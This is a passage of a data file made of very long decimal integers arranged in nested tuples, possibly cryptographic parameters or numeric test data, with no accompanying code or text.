7885546588523473465322757270835503064066526181833740395066561178085562916039678 349033190988639907195970115122451365393856078910271110127981843826696511156, 1923403552119338137032764072578499557436144761252284667633911539448230770481149 582578642335207452181490778596745395220429125345811063178820994193332337887, 6065026633399018277219848835328232027982698865478987314686487113034351517788770 270721512911819034689399546532163783083636830652344910905663492775780384878, 3827085830028464792558090806522514905914557619831185287757163869436010742766680 917721985381723138481987403786933469323735345154013075614663198906569273648, 5492456882244275745204026827935511524342042177931490236544233584562305389406446 199816133499352041103280751646769672333251344259539258116207285257743654854, 4535662970891123875658370714483780111328502981489652498124653626686786678681795 152049875933427727530338779694155417524886616914708039988679820817179926607, 4895984646564537918948989897601898534376131381162029011398310167495908174946314 770456557340213935987961935376418776120849083146559663155731977891198293421, 2253297154963432922061925830188557861677937912864543853227895052201593983865303 761968218082666360097952614057128433794333589579468375032781198873907135070, 1319451954809954270319787603023971035450289624579564237270085087224297142497890 615875675110641058508216339990728937398053289261513995198309125237172008019, 1374370445387314337728444390426748304390084080646308755593200734923098058061712 447727129999111622139116330354686831644360228300922692409471217099300904727, 4055523288255733530067612108818378837518390241884389016949687284020636431950658 465268113981282988081918863804710194932891598760418821536113532459935143299, 7527783390466757392486615140740284075034355655528100723281528518801789673339515 287491590331071871049085911869471435296376227683574997162080944688144967628, 8713705113426238765860455201790438707179750554073906105129398023386802612553896 175661387046751179831211396696479024026005573591361407405823484906710407750, 8302562525880957959412683963873399551831528059034602357244221049940850305074499 717005734745024184849120757812588623622484143238892478286100501706317020243, 3002428222558425622410330047210392493122406271318296309922464237775384767663853 352472347712554044583359878874866091497965844103174508664164926741005861904, 2904869997995846843556538499218282121318823987282908098870522822363589385729159 131588379962028036369644118118574340298912778986089709440125557167021533880, 2880066239327773289478068280942982644869051516300143032437898461785686731819157 027604457783984367694803884400257516823033263595721636496583783306600637681, 1731376643697625862699302914740943334649566135068766564271773990536439378131548 794610946377749281865829054670427348490590959332421213934478220397755780679, 8717036896212335709306939393123625485816920390549444053286538771301622608227942 843175331977161370377201307392710478354856553239357573556231417808923822512, 1837497508999769448766876026056351467835029332307988907807154551264615070554137 030240544215031777557058701369554201789081263573264975910053198470131506733, 1875703375785396816163620395732262469493707339848294355875606249778923593957498 322272819637789223835137795121700957351908895908583384689728190584636724279, 4961983541789624520999848316066718659191293333773793198515250629258034757516804 011954245093205639015411497718776912035882187485604640665530498131831274594, 5441915367027299212446989982750619432966934247976428828943296290806230831057808 514999592678529543068152840502243931904224417641273618807915465115768340353, 1256583762348499315357871512112062264478107264603921980712085606723381695816867 695411868819815913538909555835810649548292481517357868143224835260977377654, 8583794851105709030729239826739286003094609189500993580280802922762902243403880 399946421590835524481851799084790840888243098535677118491007160612995819060, 1082734851296576435932213351281555543446295182890017874258781635960367492237639 710356538855021242735320680110054912405340248318859247802950823247716700338, 5543367264167716987641892175336262495148739383657474213417636187795213278223279 088985239344248279742161051752085938243646440564034251098245124319770387428, 7018475916184059541591986039595905497654839569751337129770542736256140654463082 703040714787699316835869341870261579162845613621209783928476812999425483297), 8804203582832555721959260607948582991137777686007810719269999338041764510059707 649796652946644601920894216951494839558926784875075067650369205473932292229), ((42979070054606958917357744667018065515489146008483945507208310800907580366645 17575644046370054511431020585308269721791585171556608339831677694879393512326, 2262048110847202987788524801806269626529238990294365529196473354860361951798934 10249644096144793495266538724232053936398808615518105855797599175549337754, 8044458043516334786539573708597746499508420926410241582294454249537191766278224 564910632679410720107872738314771961475153888859820706714280808186114242889, 5869845289410594388842198549005771559889881141856427120415801917281375733973672 40860046215356573825389420745673126485453649181609967469485297439676256720, 4793328901772877107892103005502444273298839246517580949263029171207324292030015 038685996221064636618952989777488106092901195487482265465107959344308064719, 1676103952005287748583344864903216496669472508352128342690574422101936186343050 079629296567634863107617678409850027980861635483641811327355931345852330399, 8283773424007016852087596117927145050231202473225694280537888392844242884031305 070310812641138713039082145005468414547061321167501304574045100230733107345, 6917018959099367724537045807069833936786873997871039897235731899096843464016128 429232347117191883728138881511908526685631264784627117752317200753522049539, 1660202800932210387613883873926983795576431880965350669328757930821892693769109 974057273292599567690769124819677316351645146165089164318860767725900856793, 8692118800316151917424843358550111707307427479193659954417195512809910473108344 588717351133967036656411128841102239002101363695818949438704982202301997954, 8155224440602631022380499054252575547488978658416066694579314436544869467263343 141895139315722212015624622912964483223121056536644035770969432454054379154, 5166786435683264062726702016646100272584207302183785671600244269140941940988508 801661290879162293657388889177276796824397233204102373494204216736356495150, 6871017947513516143987261355863045476597197946667195330675847188819958064202241 392434354772205216422908603005222476089508709061969529621220511060238636886, 5702095361918571594433345100432325036439032570696023196748795608619692054885792 564859701510021470722149217341605763503217615731930829455470130056875094680, 7345911427958928108886796251624889647521661350424768511299904098791312951609885 219796155991713491094025779360722487282793874218459697479881902423418067257, 4995199949563005818022766993711289468104913612280755904274741031560738001271672 895321206799004597798742712093212804331733392259089397164981098413105153063, 2244574840313047039051351426239710360754836689474065664240384688381386169132912 07654036442369303647268211445528262345561786939780509032616304305627370005, 3400551416704728492749824991971539000049528117200081839574829275325676143526733 583219074900511060450588839567008898138154908660513106682752514369548439906, 4718714401788383434862867336080939869980104952392098065445784335829691968269343 80823148477467379245401587360114197513332310748323889910028403270396804557, 4358417173640458053709887389766143461053691991649069743682447592232183158307020 204322845201705067221018399126429892678999222318834229354054161271575086818, 2853453492531501540527181015297303904553091776323680357004614320493172112118184 349094064900190407976326046599530627741052143410240782149382848348095919338, 4840505315216690015722221177957174205814323780797837283418267080593978734248169 054664125696244971021005522939461425011002021057790746429442214112190878120, 8813123120266166133165860966342264384186047161572912769947106469399772344722313 662433402824628455908019440752093247726654882106156355259166294446207962081, 2428285086220318456047851698757931121882733818800978370061409727069423184901936 862675917009423912835877536654042544037015488407060062747621010361386752361, 3692470365976823486001314917270474765048169633137088860664670455427779497392909 242456253144048221022379633850238710231447674985662621642503215654519066674, 6585653437224295296635541384146013346171691396756627425799325399383449036005278 107379673793805479050105169790071048342770375755049005258645908090167053205, 5627699417373173687912246545164044434298508520801106176291067063380801445817662 251867240646007372348109897680969938860245265202984778119542693550814820262, 6325980510758017065434870644297631886450352761772227313874297428832742568829863 558802940325799374559937016664840099518468065276376543063950770325503924694, 4665202113339134326880067919978908895208520080116659654399934061471637651174274 396972377581897091008710683547366929367647672411159257847351861046300264383, 5490471199982819704229704228227463735089782618578404875814550876205285692123869 040320072588695037319990295395095705346363405613179182685240313107563764600, 2045644732992418062684600527957370642075167563120343985246796526490286224609719 497631533277220911224401722163649592240585916486743621230728571886405671387, 4906183091676324168496201134011021445947811103269168896078323270312706456151957 79414522098307999155539698729660012837291179184465491776093169308432295497), 2015993109607439640454843429831599377393426070370995466391319445601698227135245 987080240923675011314109864780543093216854748446729861014885948303123393370), ((11265094178599530837844928942315010708456409767998502622974202436873948500665 38366419243193564284780240069456162512787527981670738578032655661000675398977, 7702948106981709628789134090921863890775996041765000313319740369335956677049970 236853872699515233357789236339708129780281541771076590403592173331190835800, 1589089668004243200628978496667047865895034921202316681559281916386104882943239 125080800169610311552844951501258803663102332522121206488802320902120530590, 3049142918414007317025508179936882068629738293701584005109339861673587075454004 352908254921654937331365151360050939174570895163458405985495738418749763662, 3570421124795461626523683843387817033268094627852271504154691300540965189791942 170725724149948988117172461815290821815641340553358427430012223619884035274, 3705324519700838144211450006222790118766280340698724188790867175414159018876700 023757276196768288385769278493134120244224615778577546167306946889297783587, 7437789586693846075855519891380855550923633146546867287351439158073817741331984 893461833637607371084346505986066922505689366235893075213254564202007062276, 8070925111889815408206201227110440381381315440087828112800367042690493306682876 675593800311777200817766904325729723751180708101230547817822910831866385352, 1956473234334872055201063270755944343967634581910905602314500503038126054792021 543821234916470428188901362020609314046318122672709767624738843077558059412, 8802357861163226022291002284021436836014293226718541236824045296810513947986365 446643907794837092324128584377383450806572206046354410884210502564475861066, 4874680649154490408850059240544147880984998881064143782365123873837475349402778 004220458491056502127775332441535224185962537586732314703533502335002215182, 8181242567680588152379373454952968293721365044822020245981053191400019078776649 931318375648357529990669464906860125264900127610278290585069503887170156210, 2247433365921875111565362917287628424440804135838192003944152726729468813416040 877147374100559620253445081292844819035029332347679425227307391405741957979, 2284367744362903506039955266728106520567847981539995590551535690840417159169766 735586194643010425027944473978783022804646789526217283792446277125055640247, 7721001163458715909431345098464360586076545388639100580168754600177420506822540 586254014047036575253648138317819228355203928108744978208084492253451992244, 2019815381938143395422571438683535372055131888924071932681168130726451118079292 593872078876534792254045676976411053838373644506368531317298374410117479086, 7327102633136238829130777670003128176042905003956255907150301650281677153350998 067637135884002399064116913558021077220429186767859341918539744963603493418, 7393840908661517469622786962641400029315964541759726125255924148717199113954194 274766781727080710837521897039942284964184673563369775006552679206738544774, 3240686111874459276411962793246177968406177139354407890710954802398325616152265 651526042697452735516296341936338809698897140620127922731532822552982106288, 1502836526217289100998608364987587688070033366469880186320684654006664938597785 986440457135634722131344687292566903170797634969647822350316206226429023826, 2011720319897537575851382942656337587945948099131015781010463473559740922791911 622361111917310398597734370571132227376694893598693151619316381941415288486, 6295917264093747593716873996563540569380737411186237828963065591555733991689848 985404557856669505772083584102840863041997708569488931908327265704625648072, 3178826069404365354036652736048272049279074078163801200652200572402659789947193 592753901488883489653501895754477995799853787053728350371492603936539067157, 4419707561617602426909999071836589238920228416109392370486500341354427069135702 412521658680659079334703312700693972953101711409145535570196964947075544457, 3890281004322462871406479573102190154134725174766632162685300251057091008484119 713956222569142996716336957764577867422394341413643683530067960859010012047, 2388245937298716831875090989638826685693433593228945637726308376794561054943260 949016569371077957693711552474083444445473302313850759364351885788689514030, 6350912137736363159591453100036152322873199453667311538297219142318882093640874 767692558578945535150175434589247895651694503975092737288824332346404648219, 4338956569748315460490366937693565406006269595327076485971478437321752428341561 211360049423891655310846223431528890092946088338974748263771340049153152367, 6937103749715162020203223037874379223185746133617629948653570640670113702249916 082544851896393608410699856850826981647505198289183697253297351968402938761, 7528118025315553502107092589463051205540582572572891405571474648658031018525462 099549995988761525555766055558266208804556202459640943716797676029869006706, 7186567081920506168871371398674374938644012730122661633207969703426910939358505 059738243073354869898473472416456031773798441512592208087772243988171101154, 3561321445842038435457880997185800534148277970186521282852951142042284720834640 000645221137622830555391213567048893967288173540723039062933959437172893417), 7963112995085879739119356136936685308096146025746635846511034654798648255741510 465431502375153192474560251514716131805680999082211884794688540747288550700), ((29789726665579961826050721315796166611810994238114573696465366682214649891767 9468152867334337628274749055248287404930833354315195286881901751210283859773, 2513808649073690859621146001697723861882632867836978688426848509081479151554878 549780796812505523031321638752202802347409546570162029895154559289790348702, 4635470447037057168497394067612447881451573882989187268973202153049758991141055 83437216076955362329980287707596238202294331214094246645562938058123799203, 3089146380865160218459492230585962933701917411123860441095861632854261701540018 299696693530527366298944425729159572376706733942395153527894055568512830911, 1417143864886225559764354951526901269891079294468720725558760473086772908329630 082656542674237204152046426639310564913849761875889826834298840006399595121, 6473493620646316662710576587539997662006924206663615052290368597674391221205725 475876609790836245273575590464719393324084219605436731556050528457057268805, 4712184564296884064638707355883129808246228033966249913083762205916689462402767 047307544159788158811065698336978982132250338997824207095757680134648184338, 4863582900268238863363836028607579468229465084703643348337447801970183309877092 015427662589034517960940777704441348569748277093014112524649702735252547657, 8402035963764949460619414639091597552596523738402721359474248194669580438423202 48390251663092558914575861286124598793801164946466086517494636906962955118, 1994454008436287250318900755325168381808155886411755793476158137441868143502545 314932791606723957862216092701343303561123431142844772175229564492219878288, 3986599179927364417285397655814074343193749668565413684445365359391506452665515 568192623492860403120915303457989829412724570904187721744143977907058402340, 3325934067510373157651086139574029628258343488899201413249418724605564274482768 103579681197094343197822142228748847260633658651118720274790239921918994957, 2525127029136279138950413216084712215039871421541040641268294056095676520177563 727570388596448727579685087428958725183473594778340116458381594049142800109, 1707247709609527157258614185402804266824233984938787285223212351567373755676063 971916019972130583298325540051210193169527827053883203873873842667513126670, 6407333980081484093558979972771646389292073362573276984047527288114164811175097 001698042482846863150511916305948903319070734270822588375791679552835417261, 1647465518873306294802475864260161804517940853495283251534545802682468373876811 280549590708454537921508536124022725895699378447093110738420026049801386798, 9419958086843821623262553075739261499762143549332046091901959072306633189655056 6355176300379215304741338666212716085576482406522590125957148731664250829, 7002221535588953835260555431619642026749757153623371003617927327018064881727418 176816449697395071943540148484437195491174484618383275645975012436596414305, 1219498768783178477430722959005372237736952420083724138717620878285455919452304 619290533855299377102916243278793121623373182056811120891136691577994182926, 4008270746149801963840733118495755833723007270228981249804002460371845175976580 08902120527839039319733722176155479759156663332228734566319641464773285299, 4986525189757972960109253595220106124979577341993093410672608777670390817650068 801591776809211301796659251345815245498557825921682992038173989334487164082, 8302876293025900847555955159312290117016676009667399072528661943836241392820685 494966228485871226450503569242899409885783611278914487472733596440276320808, 5671475976892271421630000428446041779732137448687082308797808146986030979558639 601275766202673442688662348803725746039458450666174086099700478336814704020, 7832213099846995253808854435607096673436581251199526937091092231348323050811690 576500270532636448754571704017691494911877774459570345195844969121793063741, 4659646842829426724135814713168662836857681377891273505777590982074542738565801 843938659079488380038388608845524075205384298604840679250968933568825067345, 4126681833595513989394812165805241652361924696786077001300137432807994568140904 961227221542432063405820092751858138222771017110700640988029822846321247629, 5160465059681887256471446068803020760143376115299901195156548446875948304728983 032504014345258145072899685855177689500078727756586035746587072586250888896, 7923758459535564199592328946008131476405243100036695255629325357984312058297383 328736135310581890129749900434988180876444466380542425810861181902767554166, 3632628326288299164826472677196000939589782079535117925296114622601199835467922 813633936092925006268539699036682449331537984425649101191760211813994783498, 4651388200390913034466475613978487155073361970544191787460910980443555543413769 965936953399062658651600747521011967202156151261938908761905321735044796766, 1239096355843453757253816527492145793768414093173930616759243516523094903961285 681175627121377332756635685243044331186639802146560204202265125028091347681, 1638498213349059533882018306743804701393256074283836693054269147799388647425595 690877432958234484187995291371205154001858292917960938152843469028107758371), 1834839691522726843310290563693091586086018399422625432465736206256079136813841 625105578894568982913440001757006728034619347462224949621029829568622182323), ((43175549076596390942930194797255576949146470480036265952871082298706063045785 29990868330917427950546927989974607900581019764640248914234151058010270312022, 8111251658608386952138627822710412753295937940470684030082653071658041560996522 622018198512520148225475762842920325869932512940178340293871738355130510316, 2210567402795546126099267749484014154027325924573754486905674246598167297817390 903696576616348472013734085276028090360113429772165994776423774163950488744, 7457170442540801982535456725747904829633172268860091730242736177222720821662490 290429744622944982821202400686856756588596331842402871328526201163629776417, 6167594652141624814577286225790210873003835249350340296354041294621065826121316 109917235346952944107339944980531621290845996872088852361310131672471428015, 5542242494161020105408035781896358307261906360802507253597125458967508700099423 392881489107458529675475211440062711107607039644699723934637759450076743106, 1761735574667109936546904382229184193216382069774101805579683731142887453523252 286077994743345819288486881926542012846001775098418305989066500088663056599, 1270335638021377965584383007216503907180380537322966075247383697683175609869988 848502992325660246234704382466955153522828830271774001099751885739787706070, 2536026115938629544586165865977114980472469435996818198977613321433434976307903 499923158609729091075855171412370627256498488034494551276194350212146271514, 6771140352806826696174295676910570171600220552138951414147261321417412415512094 05801990530172746409081700247844211132911908478001361445650241739866640799, 6898520245922967333425818379992902489822845702108247219762969616580542216753820 673383465816751447547131640111081931135770011761601299419395134099812601051, 8020287130319599216534102543057479766754433386392213171481687101961809255378615 099076215291220730284677293450941458771760313132695390352910998632351871108, 6840429909702858314033601508492510186698403439435888017205971834478850752584104 225253215334436960267937190600397124058960540830623561913323067871617053303, 1188517727287231855112852720223828992731425362069080509448174515556843152662427 615872063371384927616104041424323517130164046095498921992060667550613160523, 1419007203895401403629570778214584043564942878051255751813389779834711708431106 978890086723337752258728618529529335551628233241136934151670320652815774445, 3989787107540492376799979885585693005782065824582533928640195147706847895442066 804413362533783035021679469532865370211137713292810874460494803502839506723, 2312117863574311926532095627631012230445591748178300317810115236349750109874309 242385369959806186385333648320484088356084938129589049662152272705153933127, 5979654761058158626666251528722683310327041640463274944965143003747025581578066 726585954138204735518355374332694033178149803984527332278212719142372062886, 5413817186112763661518895663382540723431107386610628436595042874814362846152247 52877234689587304767596710149667045203143706394801362172063375965725134300, 6256920657372867159028525013344329172898874442634117400272427498021216646499445 2705742756059751242895387428961402917442683228083088534358696275329820612, 8003211416596106671976008975061299397400320642559824962478830707887471120368852 942711970630548508181984138429527295868922519538747786628199913560233770663, 3479306527348510095467459697802935713423765991916441623263743364693788250801657 123742004288815923387535192207410563956659223300640717496279595526672924738, 7115373896936192638084594992033483477719600023857734001973906019130708940536140 454818920077797501762644373897286152902428196195352708641179386552986782922, 5621421692418602612764100875264772485929144642523582031428656631714340079055193 070434660665514445315623485753885151333290391517465544984040807050395533314, 7693000298395192626097155650790066702093929721947683747846316019753811866755400 252527518981547080903905706815705457547290976914731248513032973966776655697, 3487974635197847442825688609454661793856723605212432324531496414804516052518175 330761017693119142790111042510099481004268701782619377667368397400750963416, 8259214845561405466192084080513859710776171798621506019476213831931116372543519 134671573135594139780349262206202875262515500343232858621171028532881111467, 2874730889045923473370996832365990277120184639592640063360929420855287097631849 846741885580488438502407507839046743106291570897798383996230708570982312775, 7840914090026402066273551100301098460329090744174569613912402274771610060327412 97580219793974116987997759326613362298665940035839679044635437642544170702, 8558552965534132744023566520751687325991105083460724900693362998708358610023000 238715336984150735829159677920376858178075056149290393959174261110675943941, 6179367811337730277231702419641517562202432581970437602259039360143131014717007 968773013183729366725007249543893388395150873394406952537096321513950018579, 5426911869886344883795911005808533414278445502964032525724194092720030601776515 937135750619453780402372031078734624366346375473222261957622256769072966032), 7515966002509267549514779448216185687201786208994743934938420075331092930290784 625242712972124487282642380879304985975141503824430077068530683442460901351), ((14001452003556109965588591600559099491240425988185221993400085169279208136719 38567140170822612537675012467482439387989934561225240140079555119591296683108, 2373139641004232655057954098640586336969306135833561454783672544635706741091880 165450645530140165796249019450185475351154299612371593301411635058691047617, 8430495654430584939915483892585777509287650977715156729111834148531336067909679 03396113667254808607380951142339222953800845684770786359496887400259939492, 4355412845528860417846593620717214653375908139160063715206474798000381078938815 744122108612543062733099811476082565006849314519684339944888227861205847842, 5710363861714936186217394666515401915880414650691988361269115621343591454337353 060836648165270132552308549463811722133327995193050203034731153279224233434, 1709171996125150835825905872855685925558037650222419722883090579316836600405146 006818123285157611141292417383652669496737210604633795762937641460309460908, 1735477955570851109236103413528388901309314695842560662612326419126474463360189 293178801578253300487558439545946687597251153456804273659751937615697937785, 7206414935223875810912176847108859025616316320526624056362123890538721907654722 683983542197000513932717973395470305134227987827490728346861832120142528176, 1642172423319389318796025329522249705243251683362577594001284310174587799870105 637957927024038586510214238579512439036906557346318773567499050191308213457, 7792051930430900499907042341643627405507903131284151252528726045168704921481482 569715678699223422052777275052818958538095880231933861699175759636702549559, 2171798577676697652218455201864760616220052689630050665855189241798543334829310 902826528569003247370280874906509178661344196696665287357280329256679979570, 5229645408581051187582125077352442281881534033318499505149236496131157672976128 10025962363343361249330641387078706816179221390611089187836644285655964623, 2536180183295544765831914125888552175911262978921668887313458041095576607202949 659859092066957790167920322682392115787409551642223471828320101971545605002, 2286114813084815990491116134069652638648210111329573079486308359988690677619965 606930406440452022926659203291327166490639578940049383103566702859165730599, 2093507759833232412143870310384842159982029688971707215716159502826709540116317 226792668731465436456641945220984964787098710408081659013705430347166524759, 8869723149673748145441981797701511495884597853384029563819403745487305456489435 495724330339943833070516796688717311991109460691900626775445397651262962562, 1674741650766010646209678861605199633551063109254888148432484919016030311908135 679288153704295496898407573388986802936611635654563836353824580988294789494, 8536055634245200184121149057046264474741434135989837855993478024435075465730300 197443380398059746215623228226874657727118848615398806163054169602770285129, 7550515050218176876438858399280279884482772944535744298061945651327973741119989 293340797597559130568225531382731297471333351465063713527461035629432855677, 1143679542976467689606892803917171242200204742687351736383840968938238958778043 755311358797581264999835317952991434112091826689989368933733217592536487008, 9045153966685512588028498432950671781304416913307408860178335470169190469044997 49520576504849012289099624167926153764333165031343653506362578366905369272, 8583803089217687989193778113792260612604660551309756595391631453991938411098748 596254399557638557972269997348637233422228792709094578956103186896679846911, 4740265140062455074901706184731499053348016929017882504435589058803571916972613 450585882724502829627919078997275642313451365340977753813605862744646972967, 1755557563035072192639855267039927101194296240452850666559001441724551821221583 414808138688328467956559165153295794986415785209902958598652846561023305453, 6926973636079805545726139881392965559625371741675202441535171189592760926165171 014713721841789018161122816941849260795992886298701283472466990311453897670, 4535644433008558683908122832050262194923128067079057679169167731050343841862097 416871350697751125504123340155168415215532499563227314709186093639784258670, 2128266726091815349379673317529723001042110824453087764348284093028727965007406 994071520320994141253632327504033257413069980738375102903374012583992519881, 2579687040640000657939508158388139336806387462345828679614190786835137523260695 558683570682357880324881477219566684937285318286299912286951028797171890452, 1796352929781539132062514122137455041736495631914955084903155506261443593627423 782581851578735544954280722259394726244365836405259304736413103238480715329, 8431691476254743560837368917159663009958772284685812686408247826340059729470980 208617034687506274851824256559505919923712210949112388482220736429701129149, 8656972440816806481342737304610487495381194543115380140355685372712045932060251 598997984190425100770067877217932188141775553365375581339887583850780992115, 7514092992002136813831333142656252356445927726701265961754831124877986582908954 710943552821583485751549528534370429838028456826819749663125587091313809572), 3689502250750661309258642694796056470650530966492034218730688150899879130407775 161605425754167108620928814772109016823435604642389989520426192565247130072), ((59750371990738987998024193272910175931272793159124374265233255806912728282317 52272244827894840658932589516166323238804291949920423145084791302443158460487, 4441370557638183814372381051069291371559606879499365775364178285768958934076446 2853295261781547340397841302900751098694677500564639253352969393475011656, 8863429137796587593902643136650984218473816900476447604945169092665261757934685 981074962645151898855149403861139958867951953087663959706139143204616876021, 6483680827068636918201986845067901779787469465298643116143792197098130901583038 844920426991868250447332940593666094853380412185737518580660301979683831705, 4522292979210758115079464481212003859112769178187222316978166014258241194148174 158790948908584797721272801871790315482726536688818072479252887838640731615, 4569459382093854837522219413826750694929865717873905616298598743837041046813562 262162468018767885240187895161512189793114914977088332282025918297644161826, 3531592615517840760941563652654888133782761101682104120310342017689461106922996 281087532471965711107597832156988553709045872652497848389723686209696391086, 3561910962987133823417737865003937942641244127963821680999441975731609640450787 12860178827415603528297942538523771757071867016712731534963253948513732089, 5876351197092200178246891604896908912619325690219020766949870030485283662701086 707294756697860692117712735309722620854217463907081342248092647194316971781, 3673416050573711952456687043263513455164779110046991394042477626523610425407241 700638589978599474748414498710114573114766074468100469864188918796366644291, 5290680353808361484542546539428372005015068665144947423216586858433014341958739 376386364814370093470107115291465978237918808711748653975441108026127209134, 3313426440282574789681130048042548619345510870370412279320979913011885590725152 236102025419182529298841433183655019448125273255850310088862857420194143180, 6796772127951878901537482043452618119476625964488002304806710385716173640482193 569389689504258653616689571993416255603433384095334908762648501872732456321, 8562577847160085262347321208142247776480050627943568404413064491687001653534019 473486561453073991824075414957516369402398237602046254497435402677278419231, 2086570240834288980092135911907728499743783033452174636721350588362561287506544 307498951405008474606724334248266692436071734386715126071998691723661307833, 8458547835875349080445676590491418372861454640254316184657603178536391045972336 959704352737246697856604606678590160231067682453978426691381437625659068246, 3275580799121466011697822536721603908054720967455472273900891007094607726740391 004449483739558300799645745003107623583153664302875053697113024243014938064, 8231305785710385143677392240282065736660233626366272565198742670714196329724153 436041378171030981283059028126055259155012607901787134564165927439533477000, 8885022792537781071794680614930806084205056088729380098914004620374200264227154 660026936439120299686232560705895425797524602481561636683385892418409232418, 4947639445421939350548406391573374301317888711796064728749925093448095694106229 240866308982148629099835881579004513188559959673939021537281355772494529613, 6131211720390089762217589755789683383123065701189303527688285037793630761247178 826872091942647574865341280581659344693075879478004891242443406944528360143, 7107517340501259528981671018978271017396072363696682696162631639975914710175097 299660248480310871876531764329530939990385193953659302568729539339247696744, 5733355175480467653741544734712183713632383390367067850548135519339385561889355 12530785691777536162939927423965586339302704370730033762117643501042467477, 5745309846589483720144334694384767437267518632794661932977098222586098603864657 418521736004809388732746185642727223950566281994730368483037775920792939437, 3498511500125578508339718697474486955647214267154948871010487332799821692009169 114607548313013956026055468501477944038855585683989513386919208667495342857, 2591614503520889267244361816486873949447876459475084494523546598690770305556674 474793236540292319005720007529361625583688430079046242257045275757586204508, 8328274093952471642690196461398047714786796071813633044079984753010972992806357 140029468332955926082913267791156826099918992573647625956238695687213355768, 1541395715867951527936533339435194464173870392544555926195375285918242943188761 030846529420450492188850073864281422870646829750409745501047588366251069145, 3335192694018729315144968534770720284199153101476642462111676084687337842240961 542388686728881780571093940796358849615619366885817429661843978616373872647, 7145558458628223350226597590791690774312103181297768413811637525201129190710037 711475668550289570932755519497817539317149286057702153925158037488571364379, 3946327549009093599816647908297494008232115806462875667631571975521273913997932 504287732861484176737161094135385970855655774950057236726303447491944672, 4739387886332961057595669833822765006507551898591559915462322216142892876987909 741869072942744003640686048818385904845264456005306279290455747326873083329), 4450473640890718566157195939490101778344083308231104877147690061954980696016232 388341545122875691858780098331674312376908795780658012985969808845812263170), ((65030019035088083720626224331837868919507656318738207085365033250818562390533 90476893682931128451131443510649159170563837133565033756709475960568425380077, 6946804458395117310500827065785109502292349120353262013854125487539783296272498 937599854825285405090588230382931239820180726322190721861352791196408040822, 6046531227042673883224480586790136717629491677431590351144857552703015081331095 996264497625804231641249565286031649127842829016572846274344311843347690633, 5879548668114967692420959682958212860001154399355795163888896341872302917940642 934538658802758963179583675939308631371954244871249228938068856955480079560, 3937064053500579547156831543962007768702964876148359924842325722350195017967531 809644680767299318593664155555525716524217574289443831294262973690440581785, 7220564356164396278209568825643717320441466945122165411026675874974548403642756 536860643351188354933436412503452822636584199889560869063691239583642861768, 5350849123998006477804953191321873528321172496288709980036471155648801114572772 37913279568139907980427218321863178832229065437258758352579909630783139568, 4942459011417203708368262295851917199104624109453708337089678902384927404712719 831773418728341666665919422196047084783668025347208262256425720116339961986, 8291820041682904041656759932993459143915177629745043817279981182909052282686909 644020576864179405336437314148793026155025867564069539595018172363354573649, 3020811951851479609304728354418099797104156960091158952035221848375681931554080 824464692357358177166667612744049135540832789695717734999808349978238922856, 6038012354701614763917807485705679004808908344155634223658289566913358630068230 024923547009416214361707400235759805958855823012641025509411257334921141225, 2695848693183835085120015933834498132446375762156910519523634134494062904259258 367605616230091389912593122398752748531263053711592762524561920937941882868, 5387349094400956596255909863370652988840352049771437662267177113192146237764006 798089008085063892206997787581745939870781025147718255243279740148160551131, 5746523360282683785142588835680912852410516052553765368366297882418190269256731 643614806084810338449857651069153834748445775326928869301011870897004393023, 2741818946537499880589291624328213213884902045837638528821726701709918959518164 54852864363762870424983515860354532092983822982614122335824271756288267572, 6278334361834900509922617590143384304297552366183232070494779885391898440051233 302887902470570639029851271726761195468960521803390422926993327215322813517, 2149549877398074219615510548835548076925343921599615126437988274211245602760853 976238257594365606782948874693212173928180184662628994827130415701526221649, 2987031680884666994049603828200531787599182475325387457856955346082518223325338 80135347995542609311385060548123506188974631514008672456395813121330230208, 6247048518533591857284263070809901903906405967042053385786463819153206221271509 685642330317751228491875794053438720703632932055191372155916361605382780062, 1984950863434237350976815667409808965003880380084807656372441621545655477814050 73338284755412266883212073655880340314429756386719692198304470809287556731, 3061137922481214463914685405752827060973811116792316735932448194894075507971991 755594709806732019059782336432830867567507043898299753016527858423084716815, 1684695443113712554105893331877008404280050745079800861416797923992162706687051 941968696477239457191519967299734447625124475570974515871319550081623241850, 1919827831914062174164686262774273827461504956535671967506181477441261399392671 532557596152478595405787069427432162805262337643235049045991381727045396912, 7326271063546701838255422366300467574918175524968085270627400909802992007067452 181697723564417114898674173439149002243497950541476399637524810316075663427, 6922291555701169162741716071782636599005603647274172586212935535432624758862332 576870208862318225885681734314949996796432751401214092734051668719048252673, 5744500164733032350655825985940317018036401846551177012576459851076683503239009 490175866456321525051204008605020951230895413676978424668611893327978491315, 7501253564579395990832490878274542675952953971464154900840126772690847936407296 370974063905325045718439517777390639921994791643414688421555389192100349190, 4196510802640205906362650991502612078197003640938834292228505550795056740150431 282045035417116124589737290824885894079103325351538517596308218519084259850, 7117945724664180223206080721825331824220639414652739869172722543270107630943662 663720575912505909007232237226501083666582082605055066589723721985755578352, 4128328678898731158789094619306975355018807348951581877878017123270592872075726 937931191375366156542922295270011457475021787821981104885827723314545064850, 7382647769572340496963136867848353187242510248089181925639458293130207517859879 826832591105853897576734764404635052148863518348684418856444157157189253543, 2320498707828307176160469814626175833509477737731038021455468303177536991754899 400340756512237722584630048979505454649501287004757481024941019711086542971), 6812531404485837688400294788219076724131658452236467525513700703766171687659083 306761871689528319887504388330537849010559354418632646636482242676597811892), ((68583497159414753269209521577237876649146574200215068735787497811260572700946 52622451734616444325239798806478973688805485399669419120245421731044456067343, 6404894751926170485922585442795716328301531656691710747786875490955915867268530 613413704934589278046770763878741568143786883205186705945900151836537852337, 9701823783027599760760289918206410583077806456518818788015743453155957743882150 39846254317655730442718326848864370213838642901928620553007397189537040790, 4885413847315995312210366305789597183225541505114868907455453214189219835967737 198829410066985460488469021927864745322052885762724522479983478722120489687, 2480974097414732341782974988243615547871829561100309299166559927174966883905521 365018271258943253723998037700491159331122548778478774749840290526169184752, 9034834024303833454176788083139968643898231917955584661931856404582847335544773 20207931286586493411123457622458541459277295096540728183039123470499963956, 2592537734314318057528661122819108163411884160948795397757100082551555520227695 554035042378073788530306644347578403336108077275119776118487857112344417949, 6922337742393457141817742584177297735517460660619598243620062967728531213159474 436081283292961411937053094328859065645276725614069183774718261025163649397, 3304319946278745821513122178960006960646186054804595909028489310611041926923186 423548143234417958700559322772013869886212874782554170303210094917938308840, 8117837292347994405017834065738268702361778271018341081181161818751957766716934 232474021352573531569479972923720609470296124197802396191495201861580487903, 7354268994623408698636352139972052584256739564421023490240896996354987644814662 640799542251765901143754035989371934551867626742883148887112082905683783438, 7164108829093934827641543588028856685152008554273357550972849461876536521268460 233508287638499212904775920859136092713331724436570858094559088472498278060, 5351127178248217095167951500386118220816516194086406946873877336583132220362593 